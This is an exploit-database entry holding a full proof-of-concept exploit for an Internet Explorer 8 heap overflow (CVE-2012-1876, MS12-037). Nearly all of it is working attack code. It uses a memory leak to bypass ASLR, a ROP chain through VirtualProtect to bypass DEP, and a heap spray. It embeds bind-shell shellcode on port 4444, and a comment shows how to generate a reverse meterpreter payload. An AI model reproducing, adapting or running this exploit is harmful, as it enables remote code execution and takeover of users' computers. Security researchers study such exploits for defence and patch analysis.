发布 2013-01-10 漏洞条目

Microsoft Internet Explorer 8 – Fixed Col Span ID (Full ASLR + DEP Bypass) (MS12-037)

Exploit Source

<!--

** Exploit Title: Internet Explorer 8 Fixed Col Span ID full ASLR & DEP bypass

** Author: sickness@offsec.com

** Thanks to Ryujin, Dookie and mr_me :) for their help.

####################################################################

** Affected Software: Internet Explorer 8

** Vulnerability: Fixed Col Span ID

** CVE: CVE-2012-1876

** Metasploit exploit using NON-ASLR DLL: http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/windows/browser/ms12_037_ie_colspan.rb

** Vupen Blog post: http://www.vupen.com/blog/20120710.Advanced_Exploitation_of_Internet_Explorer_HeapOv_CVE-2012-1876.php

** Tested on Windows 7 (x86) - IE 8.0.7601.17514

** Old version of the exploit available at: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/24017-old.zip

####################################################################

** The exploit bypasses ASLR without the need of any NON-ASLR dll's using a leak :)

** To get it working on a different version of Windows you will require to make your own chances to the exploit :)

** Have fun :)

-->

<html>

<body>

function strtoint(str) {

return str.charCodeAt(1)*0x10000 + str.charCodeAt(0);

}

var free = "EEEE";

while ( free.length < 500 ) free += free;

var string1 = "AAAA";

while ( string1.length < 500 ) string1 += string1;

var string2 = "BBBB";

while ( string2.length < 500 ) string2 += string2;

var fr = new Array();

var al = new Array();

var bl = new Array();

var div_container = document.getElementById("evil");

div_container.style.cssText = "display:none";

for (var i=0; i < 500; i+=2) {

fr[i] = free.substring(0, (0x100-6)/2);

al[i] = string1.substring(0, (0x100-6)/2);

bl[i] = string2.substring(0, (0x100-6)/2);

var obj = document.createElement("button");

div_container.appendChild(obj);

}

for (var i=200; i<500; i+=2 ) {

fr[i] = null;

CollectGarbage();

}

function heapspray(cbuttonlayout) {

CollectGarbage();

var rop = cbuttonlayout + 4161; // RET

var rop = rop.toString(16);

var rop1 = rop.substring(4,8);

var rop2 = rop.substring(0,4); // } RET

var rop = cbuttonlayout + 11360; // POP EBP

var rop = rop.toString(16);

var rop3 = rop.substring(4,8);

var rop4 = rop.substring(0,4); // } RET

var rop = cbuttonlayout + 111675; // XCHG EAX,ESP

var rop = rop.toString(16);

var rop5 = rop.substring(4,8);

var rop6 = rop.substring(0,4); // } RET

var rop = cbuttonlayout + 12377; // POP EBX

var rop = rop.toString(16);

var rop7 = rop.substring(4,8);

var rop8 = rop.substring(0,4); // } RET

var rop = cbuttonlayout + 642768; // POP EDX

var rop = rop.toString(16);

var rop9 = rop.substring(4,8);

var rop10 = rop.substring(0,4); // } RET

var rop = cbuttonlayout + 12201; // POP ECX --> Changed

var rop = rop.toString(16);

var rop11 = rop.substring(4,8);

var rop12 = rop.substring(0,4); // } RET

var rop = cbuttonlayout + 5504544; // Writable location

var rop = rop.toString(16);

var writable1 = rop.substring(4,8);

var writable2 = rop.substring(0,4); // } RET

var rop = cbuttonlayout + 12462; // POP EDI

var rop = rop.toString(16);

var rop13 = rop.substring(4,8);

var rop14 = rop.substring(0,4); // } RET

var rop = cbuttonlayout + 12043; // POP ESI --> changed

var rop = rop.toString(16);

var rop15 = rop.substring(4,8);

var rop16 = rop.substring(0,4); // } RET

var rop = cbuttonlayout + 63776; // JMP EAX

var rop = rop.toString(16);

var jmpeax1 = rop.substring(4,8);

var jmpeax2 = rop.substring(0,4); // } RET

var rop = cbuttonlayout + 85751; // POP EAX

var rop = rop.toString(16);

var rop17 = rop.substring(4,8);

var rop18 = rop.substring(0,4); // } RET

var rop = cbuttonlayout + 4936; // VirtualProtect()

var rop = rop.toString(16);

var vp1 = rop.substring(4,8);

var vp2 = rop.substring(0,4); // } RET

var rop = cbuttonlayout + 454843; // MOV EAX,DWORD PTR DS:[EAX]

var rop = rop.toString(16);

var rop19 = rop.substring(4,8);

var rop20 = rop.substring(0,4); // } RET

var rop = cbuttonlayout + 234657; // PUSHAD

var rop = rop.toString(16);

var rop21 = rop.substring(4,8);

var rop22 = rop.substring(0,4); // } RET

var rop = cbuttonlayout + 408958; // PUSH ESP

var rop = rop.toString(16);

var rop23 = rop.substring(4,8);

var rop24 = rop.substring(0,4); // } RET

var shellcode = unescape("%u4141%u4141%u4242%u4242%u4343%u4343"); // PADDING

shellcode+= unescape("%u4141%u4141%u4242%u4242%u4343%u4343"); // PADDING

shellcode+= unescape("%u4141%u4141"); // PADDING

shellcode+= unescape("%u"+rop1+"%u"+rop2); // RETN

shellcode+= unescape("%u"+rop3+"%u"+rop4); // POP EBP # RETN

shellcode+= unescape("%u"+rop5+"%u"+rop6); // XCHG EAX,ESP # RETN

// Standard DEP bypass

shellcode+= unescape("%u"+rop3+"%u"+rop4); // POP EBP

shellcode+= unescape("%u"+rop7+"%u"+rop8); // POP EBP

shellcode+= unescape("%u1024%u0000"); // Size 0x00001024

shellcode+= unescape("%u"+rop9+"%u"+rop10); // POP EDX

shellcode+= unescape("%u0040%u0000"); // 0x00000040

shellcode+= unescape("%u"+rop11+"%u"+rop12); // POP ECX

shellcode+= unescape("%u"+writable1+"%u"+writable2); // Writable Location

shellcode+= unescape("%u"+rop13+"%u"+rop14); // POP EDI

shellcode+= unescape("%u"+rop1+"%u"+rop2); // RET

shellcode+= unescape("%u"+rop15+"%u"+rop16); // POP ESI

shellcode+= unescape("%u"+jmpeax1+"%u"+jmpeax2); // JMP EAX

shellcode+= unescape("%u"+rop17+"%u"+rop18); // POP EAX

shellcode+= unescape("%u"+vp1+"%u"+vp2); // VirtualProtect()

shellcode+= unescape("%u"+rop19+"%u"+rop20); // MOV EAX,DWORD PTR DS:[EAX]

shellcode+= unescape("%u"+rop21+"%u"+rop22); // PUSHAD

shellcode+= unescape("%u"+rop23+"%u"+rop24); // PUSH ESP

shellcode+= unescape("%u9090%u9090"); // NOPs

// Bind shellcode on 4444 :)

// msf > generate -t js_le

// windows/shell_bind_tcp - 342 bytes

// http://www.metasploit.com

// VERBOSE=false, LPORT=4444, RHOST=, PrependMigrate=false,

// EXITFUNC=process, InitialAutoRunScript=, AutoRunScript=

// I would keep the shellcode the same size for better reliability :) also would stay away from meterpreter/reverse_tcp

// You can also generate as follows: msfpayload windows/meterpreter/reverse_https LHOST=192.168.12.13 LPORT=443 R | msfencode -a x86 -t js_le

shellcode+= unescape("%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b" +

"%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a" +

"%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf" +

"%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001" +

"%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18" +

"%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31" +

"%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03" +

"%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66" +

"%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489" +

"%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a" +

"%ueb12%u5d86%u3368%u0032%u6800%u7377%u5f32" +

"%u6854%u774c%u0726%ud5ff%u90b8%u0001%u2900" +

"%u54c4%u6850%u8029%u006b%ud5ff%u5050%u5050" +

"%u5040%u5040%uea68%udf0f%uffe0%u89d5%u31c7" +

"%u53db%u0268%u1100%u895c%u6ae6%u5610%u6857" +

"%udbc2%u6737%ud5ff%u5753%ub768%u38e9%uffff" +

"%u53d5%u5753%u7468%u3bec%uffe1%u57d5%uc789" +

"%u7568%u4d6e%uff61%u68d5%u6d63%u0064%ue389" +

"%u5757%u3157%u6af6%u5912%ue256%u66fd%u44c7" +

"%u3c24%u0101%u448d%u1024%u00c6%u5444%u5650" +

"%u5656%u5646%u564e%u5356%u6856%ucc79%u863f" +

"%ud5ff%ue089%u564e%uff46%u6830%u8708%u601d" +

"%ud5ff%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff" +

"%u063c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72" +

"%u006a%uff53%u41d5");

// Total spray should be 1000

var padding = unescape("%u9090");

while (padding.length < 1000)

padding = padding + padding;

var padding = padding.substr(0, 1000 - shellcode.length);

shellcode+= padding;

while (shellcode.length < 100000)

shellcode = shellcode + shellcode;

var onemeg = shellcode.substr(0, 64*1024/2);

for (i=0; i<14; i++) {

onemeg += shellcode.substr(0, 64*1024/2);

}

onemeg += shellcode.substr(0, (64*1024/2)-(38/2));

var spray = new Array();

for (i=0; i<100; i++) {

spray[i] = onemeg.substr(0, onemeg.length);

}

function leak(){

var leak_col = document.getElementById("132");

leak_col.width = "41";

leak_col.span = "19";

}

function get_leak() {

var str_addr = strtoint(bl[498].substring((0x100-6)/2+11,(0x100-6)/2+13));

str_addr = str_addr - 1410704;

var hex = str_addr.toString(16);

//alert(hex);

setTimeout(function(){heapspray(str_addr)}, 50);

}

function trigger_overflow(){

var evil_col = document.getElementById("132");

evil_col.width = "1245880";

evil_col.span = "44";

}

setTimeout(function(){leak()}, 400);

setTimeout(function(){get_leak()},450);

setTimeout(function(){trigger_overflow()}, 700);

</script>

</body>

</html>

作者: sickness
日期: 2013-01-10
类别: remote
平台: windows

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